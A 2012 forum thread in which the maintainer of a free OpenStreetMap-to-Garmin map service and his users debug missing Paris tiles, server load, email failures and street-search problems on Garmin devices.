Oops, I was lazy and didn't check the rest... Thanks for bringing this to my attention, but it will have to wait until tomorrow (bedtime now).
Edit: Added the deprecated.js file to the website so that it at least works for now. Will have to do some cleanup later.
- Re: Worldwide routable Garmin maps: URL REMOVED · MTSRY1968 (Gast) · 01.07.2012 19:17 · [flux]
Dear Lambertus,
Unfortunately I have to come back to the 'hole' in Paris I have reported earlier. Even in the latest update, it is still there although we now end up in Texas and Portugal. I've tried to follow this up on the Forum, but a lot has happened in the meantime and I'm not sure about the status.
Thanks once again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.07.2012 22:01 · [flux]
I hoped this was only a one-time fluke. But now that it happened again I'm going to investigate more deeply. Thanks for reporting the problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 03.07.2012 10:02 · [flux]
Lambertus,
Have you considered to create (European) areas, like Benelux, British Isles, Iberian Peninsula, The Alps and Scandinavia. You already have linked the tiles to countries, so creating areas could be a combination of those existing countries. Switzerland and Austria would cover the Alps, Spain and Portugal for the Iberian Peninsula. You'll get the point 😉
Obviously the next question will be the various regions in the US, like New England and the Midwest, but the locals over there will be able to tell which states form those regions. Once the mechanism is setup correctly adding more areas should not be too difficult.
You can probably see how often manual selections are requested and which tiles that are. That would give an impression of the need for these areas.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2012 13:25 · [flux]
I've been thinking about some sort of permalink function before. I don't think that adding more pull-down menu's with many random cryptic descriptions would be very helpful, so perhaps a wiki page that lists these permalinks with a description and e.g. screenshot would be nice? Users could be providing the content...
Besides permalinks, you are aware that you can now use the mouse-drag method in manual tile selection mode to quickly select regions like the Alps without any effort?
I don't really have an overview of which tiles or areas are selected most as I don't keep records of which tile number was associated with which coordinates and, on top of that, the tile-coordinates drift around. Though I know that the usual suspects are the well mapped and holiday countries like Germany, Netherlands, UK, Italy etc.
- Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 03.07.2012 16:06 · [flux]
Permalinks could definitely be a solution. But when you say that tile-coordinates drift, one can expect problems with permalinks as well. Linking areas to the predefined countries/states could solve that. 😎
I had noticed the mouse drag, works really great!
But the advantage of predefined areas would be that there is a greater change that the download is already available.You are absolutely right about adding areas to the combos. I don't have a solution for that right now 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2012 17:35 · [flux]
A permalink would be a set of coordinates (a.k.a. a polygon or linestring in geo-lingo) which would be matched against the available tiles and would -for a given version- always result in the same tile selection and thus the same MD5-sum and thus the same directory on the server and thus allow caching.
It would work identical to the mouse-drag select action: you draw a square (a set of coordinates) and OpenLayers determines which tiles fall (partially) within the area covered by the square. But a permalink would additionally allow not only squares but polygons as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 05.07.2012 13:31 · [flux]
It took me a few days to get back, and I read through the replies. However as of this post, I am still not seeing a map, predefined country selections, or what ever is supposed to be in the "Request your map or download it directly:" section.
There are no spinning wheels, but there is also nothing I can do except click the radio buttons or the check box, and click the links.
🙁Firefox, Chrome, IE and cleared caches.
- Re: Worldwide routable Garmin maps: URL REMOVED · cchatfield (Gast) · 05.07.2012 13:32 · [flux]
The Paris 'hole' is at least much neater than it was before the 29 June 2012 when it covered parts of five tiles despite some people saying there were only two tile errors.
I just added these in from an earlier time when all was well back in March when I had previously downloaded France.
The following are the older map tiles that are missing now.
OSM Generic Routable (63242738) Overview Map 3.91 MB
OSM Generic Routable (63242739) Overview Map 4.09 MB - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.07.2012 15:11 · [flux]
alimamo wrote:
It took me a few days to get back, and I read through the replies. However as of this post, I am still not seeing a map, predefined country selections, or what ever is supposed to be in the "Request your map or download it directly:" section.
There are no spinning wheels, but there is also nothing I can do except click the radio buttons or the check box, and click the links.
🙁Firefox, Chrome, IE and cleared caches.
More then 1500 unique people per day have no problem selecting maps and downloading them. I'm pretty sure this a problem on your side.
Can you install the Firebug plugin in Firefox, enable the firebug plugin for the website (open the website, click on the 'bug' in the right-hand corner of your browser and refresh the webpage) and check for errors in the Firebug console? And can you check if your browser downloads the 'deprecated.js' file using Firebug?
Thanks.
cchatfield wrote:
The Paris 'hole' is at least much neater than it was before the 29 June 2012 when it covered parts of five tiles despite some people saying there were only two tile errors.
I just added these in from an earlier time when all was well back in March when I had previously downloaded France.
The following are the older map tiles that are missing now.
OSM Generic Routable (63242738) Overview Map 3.91 MB
OSM Generic Routable (63242739) Overview Map 4.09 MBSorry, I still haven't found the source of this problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 06.07.2012 00:40 · [flux]
To follow up aimamo, the maps viewed fine in IE, but not in Firefox.
Firebug reported this error:
countries is not defined
error source line:
[Break On This Error]version = countries.version;
Script is deprecated:
<script src="deprecated.js"></script>
BUT then, I left the page and returned to it, and the maps showed fine in Firefox as well. And Firebug reported no error. Did it just get fixed? Local time is 5:39PM Mountain (UTC-7).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.07.2012 08:01 · [flux]
Thanks Seldom, but I didn't change anything yesterday.
I cannot find the code snippet (version = countries.version;) from your error in the current code, but it was in the previous version of the code which got replaced on June 26th...
Apparently the browser still had the old code in it's cache.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 09.07.2012 09:48 · [flux]
Just to let you know ...
Things seem to be working fine now. Honestly, I did nothing here. Whatever you, my ISP, the FSM might have done seems to have worked.
Thanks.
Wow! That is quite a queue length. I can wait a while to get a map.
Again, much appreciation.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.07.2012 10:36 · [flux]
Great 🙂 I wonder if some ISP's or corporate networks using proxies are the main cause of the problem with browsers not loading the latest versions of the website scripts...
Yes, the server is working flat-out to keep up (and work on a new map version at the same time).
Last night, at it's peak, there were nearly 300 requests waiting in the queue and the server is processing over 600 unique maps and bout 2000 unique users are downloading one or more maps every 24h. These are some serious numbers I think 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.07.2012 08:19 · [flux]
I still notice that Paris is corrupted (missing tiles), no idea yet about it's cause.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.07.2012 09:21 · [flux]
I expected this for the bicycle map too but there is no hole in Paris there...Any idea why this is different? Do you use different splitting tiles for the bike map?
- Re: Worldwide routable Garmin maps: URL REMOVED · hongorin (Gast) · 12.07.2012 18:48 · [flux]
hi, I download the map of the Republic of Mongolia, the western tile of the three is completly blue, as if it was a part of the sea. Is it possible to correct it? thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.07.2012 21:18 · [flux]
ligfietser wrote:
I expected this for the bicycle map too but there is no hole in Paris there...Any idea why this is different? Do you use different splitting tiles for the bike map?
Both maps use the same coarse basesplit, but from there on they do their own subsplitting depending on individual rendering results. I'm really at a loss to the cause. I can't seem to find the problem unless my whole idea about how to create the tiles is wrong (I don't believe that yet).
hongorin wrote:
hi, I download the map of the Republic of Mongolia, the western tile of the three is completly blue, as if it was a part of the sea. Is it possible to correct it? thanks
It's probably a lake that is not mapped correctly, but finding the problem can be a timeconsuming task.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.07.2012 09:06 · [flux]
Lambertus wrote:
ligfietser wrote:
I expected this for the bicycle map too but there is no hole in Paris there...Any idea why this is different? Do you use different splitting tiles for the bike map?
Both maps use the same coarse basesplit, but from there on they do their own subsplitting depending on individual rendering results. I'm really at a loss to the cause. I can't seem to find the problem unless my whole idea about how to create the tiles is wrong (I don't believe that yet).
The main problem is that during this subsplitting a tile ID is given that is already in use (Paris tile 63242546.img lies east of Phoenix, Arizona).
So it means there is a bug in your script, but its far too complicated for me to see where. 🤔 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.07.2012 09:32 · [flux]
ligfietser wrote:
The main problem is that during this subsplitting a tile ID is given that is already in use (Paris tile 63242546.img lies east of Phoenix, Arizona).
So it means there is a bug in your script, but its far too complicated for me to see where. 🤔Correct, I think. But I haven't found the bug yet. Perhaps it has something to do with buffering and the OS because I'm using filesystem functions to determine things like the current maximum tilenumber. The server is tremendously busy when generating a new map, so it is possible that e.g. some changes to the filesystem haven't propagated yet when I check for the current status.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.07.2012 12:46 · [flux]
Just to let you all know:
I've updated the Mkgmap version that is used to combine the individual maps from a very old one to the latest. Now I'm seeing a lot of maps that fail to generate (only the tiles.zip is present). I'm investigating the cause. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2012 09:47 · [flux]
Several folks have alerted me to a problem with email handling: it appears that the system doesn't send emails anymore. The problem is being investigated.
Edit:
The email daemon has been restarted and is functioning again.Emailing stopped around 19:20 CET on the 18th. Everyone who's request finished between then and 10:50 CET today (19th) will not receive the 'map ready' email. If you suspect that this concerns you then it's best to request your map again. Sorry for any inconvenience.
Thanks to all who signaled the problem!
- Re: Worldwide routable Garmin maps: URL REMOVED · ilpepe (Gast) · 19.07.2012 09:54 · [flux]
Lambertus wrote:
Several folks have alerted me to a problem with email handling: it appears that the system doesn't send emails anymore. The problem is being investigated.
Thanks! so it wasn't just me ....
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2012 10:58 · [flux]
Regarding the license change and redaction bot I've decided to postpone a new map version for a few weeks. I'm afraid I will get too much questions and confusion about broken routing, missing roads, etc. This service is not only used by OSM mappers for checking their surroundings anymore, but also a lot of users who just want a map "that works", I have to consider this group when making decisions. I hope you're all OK with this?
I also hope that a delayed update cycle will reduce the load on the system after a while which will allow the server to be upgraded to the latest LTS version of the operating system. Since the deployment of the new website and the addition of the OpenFietsMap Lite map the system has trouble keeping up with demand, which most of you will have noticed already 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · ilpepe (Gast) · 19.07.2012 19:13 · [flux]
Hi
I was able to put the .img file on the SD card and it works.
I do only have one problem. The country (craotia) is not searchable...I mean, if i want to put in adress, i can found all the countrys around it, but not croatia it self...
If i look for citys (an option on my garmin, don't know if this standard), then i can find the croatian city's.
The map is also complete (when browsing at least.)How is it possible that is cannot find the country.
Curiously, there is country called Country? but that isn't croatie, as i cannot find the right citys...What is the solution to this?
- Re: Worldwide routable Garmin maps: URL REMOVED · ilpepe (Gast) · 19.07.2012 19:16 · [flux]
ilpepe wrote:
Hi
I was able to put the .img file on the SD card and it works.
I do only have one problem. The country (craotia) is not searchable...I mean, if i want to put in adress, i can found all the countrys around it, but not croatia it self...
If i look for citys (an option on my garmin, don't know if this standard), then i can find the croatian city's.
The map is also complete (when browsing at least.)How is it possible that is cannot find the country.
Curiously, there is country called Country? but that isn't croatie, as i cannot find the right citys...What is the solution to this?
Sorry solved Craotia is called Hrvatska 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.07.2012 23:07 · [flux]
Just finished configuring and testing a second server (same hardware as the current, only disk cache is twice as large), everything looks good. Now I need to think about how to efficiently use both machines, write the tools and update the website to use both servers.
/me scratching my head here...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.07.2012 11:03 · [flux]
For now I've resurrected the old method for spreading requests over multiple servers: decide which server to use based on whether the request is a country or a custom request. This works -as they say- "good enough", though I'm still thinking about a more scalable method.
Something like Gearman seems promising. Configure a few Gearman workers depending on the server capabilities and issue render requests from a Gearman client. Requests are queued and automatically spread over the workers who are ready to do some work. Sounds perfect and allows for easy adding/removing of resources.
We'll see... 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · alanrick (Gast) · 07.08.2012 23:03 · [flux]
Naive questions. The California map I created for the Nüvi 1200 using your excellent tool worked very well but in big cities (e.g. San Francisco) many,many street names are missing.
I saw in an earlier post something about a road-name-pois parameter, and wonder whether I should follow the process described in the FAQ to create the image manually (instead of the server) so that the street names in major cities are also included.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.08.2012 23:08 · [flux]
Do the names you are looking for actually exist in the OSM map? If they do, do they not show up when you zoom in or put your mouse pointer on the road?
- Re: Worldwide routable Garmin maps: URL REMOVED · alanrick (Gast) · 07.08.2012 23:47 · [flux]
Hi Beddhist,
Yes, when I zoom in the street shows up on the Nüvi satnav (and web openstreetmap.org). But I can't search for it.
So the problem is that the name isn't making it to the searchable index on the satnav. E.g. Eureka street in San Francisco. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2012 09:03 · [flux]
I've switched to another tool to generate the MacOSX version due to a bug in the gmapi-builder script concerning TYP-files. The new tool is the commandline interface version of JaVaWa's MapConverter. Many thanks for Jaco for providing this tool.
Both servers should now also be creating valid gmapi containers when a TYP file is included.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2012 11:02 · [flux]
The first update after the second server has been added is underway and -you've probably guessed it- the update isn't going as smooth as hoped. The version on the website was already updated before the files were distributed to the second server, about 10-20 people have requested maps that don't contain any data. I've deleted these requests, so if your browser is returning 404 Not Found then it's best to request your map again. I'm sorry for any inconvenience.
The map data for the generic map is now distributed successfully. The openfietsmap data is still being rendered and should be released in about 24 hours.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2012 14:01 · [flux]
The problem in which the tiles of Paris France are misconfigured is still present in the new update 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.08.2012 10:50 · [flux]
Yeah it takes the same tile as Brussels
http://osm.pleiades.uni-wuppertal.de/ga … 241989.imgIn the OFM Lite it looks ok:
Paris tile http://osm.pleiades.uni-wuppertal.de/ga … 240194.img
Brussels: http://osm.pleiades.uni-wuppertal.de/ga … 240196.imgSince the generic and OFM use the same splitted files, why is then the Generic map corrupt?
Is the generic map containing too many nodes, more than the OFM lite? Is there a diferrence in mkgmap settings that is causing this?Two more remarks:
-I notice that the one OFM Brussels map is split in two tiles in the generic map
-I have noticed that using -ea (enable assertions) sometimes generates an empty tile when only one road was corrupt in my maps, and therefore i dont use this option anymore. Maybe this is causing trouble too in the Paris area? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.08.2012 20:28 · [flux]
ligfietser wrote:
Yeah it takes the same tile as Brussels
http://osm.pleiades.uni-wuppertal.de/ga … 241989.imgIn the OFM Lite it looks ok:
Paris tile http://osm.pleiades.uni-wuppertal.de/ga … 240194.img
Brussels: http://osm.pleiades.uni-wuppertal.de/ga … 240196.imgSince the generic and OFM use the same splitted files, why is then the Generic map corrupt?
Almost. The base split is the same for both maps. I.e. the first run of splitter is splitting the planet using the max-nodes=1400000 parameter. The generic map and the OpenFietsMap render scripts then render and split these initial splitted tiles with every decreasing max-nodes parameters until everything is successfully rendered and the resulting tile is smaller then 8 MB. So some of the initial tiles are rendered only once for each map and some tiles are splitted/rendered many times before the result is accepted. This can (but doesn't have to) result in a different final tile layout for each map type.
Is the generic map containing too many nodes, more than the OFM lite? Is there a diferrence in mkgmap settings that is causing this?
There are differences in Mkgmap settings between both map types.
Two more remarks:
-I notice that the one OFM Brussels map is split in two tiles in the generic mapYes, this is probably a result of what the Mkgmap styles include or exclude.
-I have noticed that using -ea (enable assertions) sometimes generates an empty tile when only one road was corrupt in my maps, and therefore i dont use this option anymore. Maybe this is causing trouble too in the Paris area?
I'm using the -ea option to ensure that Mkgmap doesn't produce a tile when it's not correct. Tiles that are 0 bytes are detected and automatically deleted. The smallest tile in both maps is 14kB in size.
Plan of action:
Find the initial tile that contains Paris
Enable as much logging as possible
Execute the rendering/splitting on that tile only
Analyze, analyze, analyze - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.08.2012 10:07 · [flux]
If you provide the initial splitted tile for Paris online maybe we can help testing with that tile?
Probably post it also on mkgmap with the mkgmap settings you use? - Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 12.08.2012 17:22 · [flux]
Currently I use the Open FietsMap from garmin.openstreetmap.nl for cycling with the gps.
When I create a route (not a track) I notice that since the july version there is a strange point in the Motieweg (Holten). In this point routing stops, both Mapsource and Basecamp don't let you pass this point anymore. The road goes from tertiary to unclassified and a path connects in the same point.
Other OSM maps (like OMTB map) don't show this problem. Only Open FietsMap does.
In Potlatch I can't see what could be the cause. Joining the nodes didn't help.
Any idea? - Re: Worldwide routable Garmin maps: URL REMOVED · BikePC (Gast) · 12.08.2012 20:13 · [flux]
Hi GRI, I have corrected the node in the Motieweg at the point where the footway connects. The end-node of the footway was placed on top of the Motieweg node, but was not connected. Routing should be ok now, but may take some time before it is effective in downloaded maps. http://www.openstreetmap.org/?lat=52.29 … 8&layers=M
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.08.2012 22:11 · [flux]
Lambertus wrote:
Analyze, analyze, analyze
Well, after working through thousands of lines of logging again (one map update results in 127.000 lines of logging 🤔), the source of the problem for Paris is found: When Splitter still cannot split the initial Paris tile in at least two subtiles using the parameter max-nodes=100.000 (remember: the initial split is using max-nodes=1.400.000!) the script simply gives up. Apparently Paris is the most complex area in OSM and the script is giving up too early.
Random other tiles are included as tiles for Paris because not everything is cleaned-up after giving up (especially the XML files that contain the tile definitions from the splitting action).
Phiew, finally! 😄
The necessary changes to the scripts are made (lowest max-nodes is now 10.000 but the change to the code wasn't as straight forward as it looks). A new update is underway. Hopefully I didn't introduce new bugs...
BTW, it would increase the speed of the rendering tremendously when Splitter could simply be ordered to output N files instead of providing a max-nodes parameter. This would eliminate potentially up to 23 split attempts on each initial tile (currently the initial split results in about 1900 tiles and the final result consists of about 2700 tiles).
- Re: Worldwide routable Garmin maps: URL REMOVED · Hugo van den Berg (Gast) · 13.08.2012 00:20 · [flux]
I tried to download a map of BeNeLux, DE and part of France, from server osm2, which sends a mail fine that my request was queued but then nothing happens. It says I'm #0 in the queue but I get no confirmation that my map is complete. Then I changed the url to point to osm instead of osm2 and now I'm at #1 instead of #0 which looks more healthy, now waiting for a confirmation that it finished compiling my map.
For completeness URL's of my request on osm2:
http://osm2.pleiades.uni-wuppertal.de/g … 241931.img
Resulting URL (refreshing the request in the browser showed the caching works fine, I got the same URL twice):
http://osm2.pleiades.uni-wuppertal.de/g … afc7b824f5When I change osm2 to osm in the request URL I get the same queue URL except on server 1
[UPDATE] Finally got a confirmation mail from osm(1), which pointed me to a download location on osm2, which works fine, so I guess there is something wrong with the queue/processing on osm2, although it provides the files just fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.08.2012 10:19 · [flux]
Both servers are capable of generating each type of map (generic/openfietsmap and custom/country) but the website directs country map requests to server 'osm' and the custom map requests to server 'osm2'. If you manually change the URL from 'osm2' to 'osm' and refresh you'll get the same map but from a different server.
It is very unlikely that you got an email from 'osm' which points you to 'osm2' since the URL is hardcoded in the scripts. Can you forward the email including the headers to me?
When I request a custom map the osm2 server responds normally, so I cannot reproduce the behavior you describe.
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 13.08.2012 13:03 · [flux]
Thanks.
However: routing over the Motieweg didn't work (continuing from the tertiary part to the unclassified part). And only in Openfietsmap, latest 2 versions that I downloaded from garmin.openstreetmap.nl.
This sounds like another problem?BikePC wrote:
Hi GRI, I have corrected the node in the Motieweg at the point where the footway connects. The end-node of the footway was placed on top of the Motieweg node, but was not connected. Routing should be ok now, but may take some time before it is effective in downloaded maps. http://www.openstreetmap.org/?lat=52.29 … 8&layers=M
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.08.2012 15:11 · [flux]
GRi, please read what Bikepc wrote:
may take some time before it is effective in downloaded maps.
The maps from garmin.openstreetmap.nl are not rendered every minute, it may take a week (or more) before the next update is available, so please be patient.
- Re: Worldwide routable Garmin maps: URL REMOVED · BikePC (Gast) · 13.08.2012 15:44 · [flux]
@ligfietser, related to the correction on the Motieweg, I have a question. See the Dutch part in this forum.
- Re: Worldwide routable Garmin maps: URL REMOVED · Hugo van den Berg (Gast) · 13.08.2012 19:47 · [flux]
Lambertus wrote:
Both servers are capable of generating each type of map (generic/openfietsmap and custom/country) but the website directs country map requests to server 'osm' and the custom map requests to server 'osm2'. If you manually change the URL from 'osm2' to 'osm' and refresh you'll get the same map but from a different server.
It is very unlikely that you got an email from 'osm' which points you to 'osm2' since the URL is hardcoded in the scripts. Can you forward the email including the headers to me?
When I request a custom map the osm2 server responds normally, so I cannot reproduce the behavior you describe.
Sorry, that was my mistake, I changed the url first, then copied it to my post, so requests to osm2 return urls on osm2 and osm to osm just as you said. However, I did 2 tries on osm2 and 1 on osm, but got only 1 mail from osm2 and 1 from osm, and then this morning one more that the request was queued and a download location (both on osm so I suspect you or someone else clicked my request, will remove my email from that post now). So either the mail server thought 1 email for 2 identical requests for the same email was enough (smart in a way) but then again, those 0 minutes took a long time ;-)
So to summarize: I did 3 requests and got only two mails the request was completed, but it did work in the end.[UPDATE] I do notice a difference in the files on osm and osm2 by the way. osm does list a typ file while osm2 doesn't. With openfietsmap this should be included automatically shouldn't it?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.08.2012 21:44 · [flux]
Lambertus wrote:
Apparently Paris is the most complex area in OSM and the script is giving up too early.
Apparently not... I just noticed the following log messages:
Splitting␣nodes␣into␣areas␣containing␣a␣maximum␣of␣200,000␣nodes␣each... Area␣(48.779296875,2.373046875)␣to␣(49.130859375,2.548828125)␣contains␣3,126,220␣nodes␣but␣can't␣be␣split␣further 1␣areas: Area␣63242086␣covers␣(0x22b000,0x1b000)␣to␣(0x22f000,0x1d000)␣FR-Montreuil
So Paris simply cannot be subsplit further to get tiles that are max. 8 MB large because the area of these tiles would become too small. The corresponding code in Splitter is (SplittableDensityArea.java):
if␣(densities.getWidth()␣<␣4␣&&␣densities.getHeight()␣<␣4)␣{ System.out.println("Area␣"␣+␣bounds␣+␣"␣contains␣"␣+␣Utils.format(densities.getNodeCount()) +␣"␣nodes␣but␣is␣already␣at␣the␣minimum␣size␣so␣can't␣be␣split␣further"); return␣Collections.singletonList(bounds); }
So I'm trying to detect this situation in the script and -when encountered- ignore the 8MB limit to get (hopefully) a correct tile at least.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.08.2012 22:27 · [flux]
Lambertus, I remember a situation with a tile with the same issue, it couldnt be processed by mkgmap no matter how less nodes I used.
The fault was in a small way which was corrupt. When I left -ea out of the mkgmap parameters, everything went fine.
It seems you can split the tile Paris because the OFM tiles get rendered, so ignore the max size and just try to run mkgmap without -ea? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.08.2012 08:47 · [flux]
ligfietser wrote:
Lambertus, I remember a situation with a tile with the same issue, it couldnt be processed by mkgmap no matter how less nodes I used.
The fault was in a small way which was corrupt. When I left -ea out of the mkgmap parameters, everything went fine.But I'm not running Splitter with the -ea Java parameter and the error + surrounding code is very clear. However I find it odd that some other Paris tiles are less wide and and others are less high:
At least the added cleanup stuff seems to be working as expected now...It seems you can split the tile Paris because the OFM tiles get rendered, so ignore the max size and just try to run mkgmap without -ea?
The maximum tilesize for the generic map this is 8MB, for openfietsmap this is 23 MB. This difference is probably why the tile gets rendered in OFM.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.08.2012 09:05 · [flux]
Why are your tiles so small (8 mb), I know mkgmap can produce larger tiles (my largest OFM tiles are indeed around 23 MB, Full version).
Is that size intended for users with small internal memory devices? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.08.2012 09:56 · [flux]
ligfietser wrote:
Why are your tiles so small (8 mb), I know mkgmap can produce larger tiles (my largest OFM tiles are indeed around 23 MB, Full version).
Is that size intended for users with small internal memory devices?Bingo! 🙂
Hugo van den Berg wrote:
So to summarize: I did 3 requests and got only two mails the request was completed, but it did work in the end.
This was probably a glitch, not much I can do about it.
[UPDATE] I do notice a difference in the files on osm and osm2 by the way. osm does list a typ file while osm2 doesn't. With openfietsmap this should be included automatically shouldn't it?
Yes, openfietsmap should include a typ file automatically. I'll check for differences between both servers again.
Thanks for reporting!
- Re: Worldwide routable Garmin maps: URL REMOVED · MTSRY1968 (Gast) · 18.08.2012 18:58 · [flux]
Dear Lambertus,
I have downloaded the latest update (i.e. dated 2012-08-16) as I was very curious about 'the hole in Paris'. I've been following the forum and I have to admit that I had the easy part in it ... i.e. reporting. This version has my latest OSM updates (dated 2012-08-02), AND the hole in Paris has disappeared. It looks good. I really hope that the problem is solved.
THANKS A LOT.
- Re: Worldwide routable Garmin maps: URL REMOVED · Fod (Gast) · 19.08.2012 10:17 · [flux]
Hi all,
First of all: Fantastic service, Lambertus!
Next: Sorry if my issue has been addressed before, but I have browsed through all 64 pages of this thread without locating the answer: I am trying to download a combined map of Denmark + Germany, but I think I might have hit an upper limit:
• If I select Germany only: No problem (Germany is a cached download).
• If I then turn manual selection on and try to add one (1) more tile, the server times out before responding.
(The actual answer in Chrome is "Error 324 (net::ERR_EMPTY_RESPONSE)")I suspect that this is somehow a capacity issue, as the URL is both long and includes 253 named tiles. (Something like
http://osm2.pleiades.uni-wuppertal.de/garmin/request-combine.php?map=generic&version=16-08-2012&typ=&country=&email=email%40address.com&tile0=63240004.img&tile1=63240008.img&tile2=63240016.img&tile3=63240024.img␣[...]␣&tile253=63242712.img
).
Is this a known issue? Is there a workaround?
Best Regards,
--
Jakob - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.08.2012 12:12 · [flux]
Sorry Jakob, an empty variable prevented the new update to be distributed to the custom map server. This is now fixed, requesting custom maps should work again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Fod (Gast) · 19.08.2012 20:47 · [flux]
Lambertus wrote:
[...]This is now fixed, requesting custom maps should work again.
Hi Lambertus,
If noone else has this error, of course it's then an issue in my setup. It's still there, and as I suspected the browser for mistreating the quite long URL, I have just tried with both Internet Explorer 8, Chrome 18.0.1025.162 and Firefox 14.0.1 with the same result:
When requesting a custom map with a lot of tiles in it (e.g. Germany and one extra tile = 253 tiles), the browser submits the request, waits for ~ 15-20 seconds and then responds that the connection to the server was reset. (Firefox states that the connection was reset "during download", Chrome states that the connection was reset "by the server").
I'll continue locating the error (next step is to try the same from another internet location) and let you know.
Best Regards,
--
Jakob - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.08.2012 22:05 · [flux]
Strange, I just tried that (Germany+one extra tile) and no problem at all here. Hopefully you'll find the problem (could be a firewall/virusscanner thing maybe?).
- Re: Worldwide routable Garmin maps: URL REMOVED · CarNut (Gast) · 19.08.2012 23:13 · [flux]
Hello Lambertus,
First of all, I would like to express my appreciation for the services provided through this website, fantastic! Last Friday I purchased a Garmin Dakota 20, the immediate cause being a holiday trip to Iceland. The Iceland map shows a fair level of detail, no doubt it will prove useful.
As a trial I downloaded maps for Netherlands, Belgium and Germany and made a trip today in the Ardennes and Eifel area. Although not as convenient to use as my Tomtom, the Garmin works quite well for car navigation, and the maps are fine.
One question crops up. I downloaded the maps for Netherlands and Belgium as a zipped .img, for Germany I got the executable for Windows. In the Germany map I can search a city, but not a street (using my GPS device) whereas in the other maps streetnames can be searched. Is there a way to enable street search in the Germany map?
Also, please could you list the differences between just copying the .img to the GPS device versus installing a map through the .exe file using Basecamp.
Many thanks,
Frans - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.08.2012 15:09 · [flux]
Thanks for the compliments. No idea why the streetnames aren't searchable in the Germany maps as every map is created with the same parameters. This points to some OpenStreetMap data problem or (dare I say it 😛) user error...
- Re: Worldwide routable Garmin maps: URL REMOVED · CarNut (Gast) · 21.08.2012 11:35 · [flux]
Lambertus wrote:
Thanks for the compliments. No idea why the streetnames aren't searchable in the Germany maps as every map is created with the same parameters. This points to some OpenStreetMap data problem or (dare I say it 😛) user error...
If you leave me the choice I'd say it's a data problem 🙂 I tried again, and it turns out that when using a street name shown on the OpenStreetMap the search does work for some streets. On the other hand, it doesn't find certain streets which can hardly be called alleys. Petuelring in Munich is one of those. I did check the spelling, of course, and this street IS shown on the map.
Isn't that odd ...
- Re: Worldwide routable Garmin maps: URL REMOVED · CarNut (Gast) · 22.08.2012 11:18 · [flux]
... the same issue exists for Netherlands and Belgium maps.
Some streets can be searched and found, some streets - which ARE shown on the map - are not found.
Just as well I haven't dumped my Tomtom yet 😐
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 23.08.2012 15:22 · [flux]
ligfietser wrote:
GRi, please read what Bikepc wrote:
may take some time before it is effective in downloaded maps.
The maps from garmin.openstreetmap.nl are not rendered every minute, it may take a week (or more) before the next update is available, so please be patient.
Well, in the end: after downloading the new version the problem is solved indeed. Routing along Motieweg in Open Fietsmap works again.
Thanks again. - Re: Worldwide routable Garmin maps: URL REMOVED · CarNut (Gast) · 23.08.2012 22:22 · [flux]
CarNut wrote:
... the same issue exists for Netherlands and Belgium maps.
Some streets can be searched and found, some streets - which ARE shown on the map - are not found.
Just discovered that for some larger cities the map data includes multiple entries. For example, Amsterdam has 4, among which "Amsterdam, NLD" (A) and "Amsterdam, Amsterdam" (B). A search for "Prinsengracht" using (A) fails, whereas the same search using (B) resulted in a hit.
The solution could be not to specify a city when doing an address search - this works as long as the name of the destination street is not too common.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.08.2012 09:55 · [flux]
@Carnut: I get strange results when searching for Prinsengracht, too (tested in Mapsource):
Prinsengracht, Barrio Judio, Amsterdam, NLD
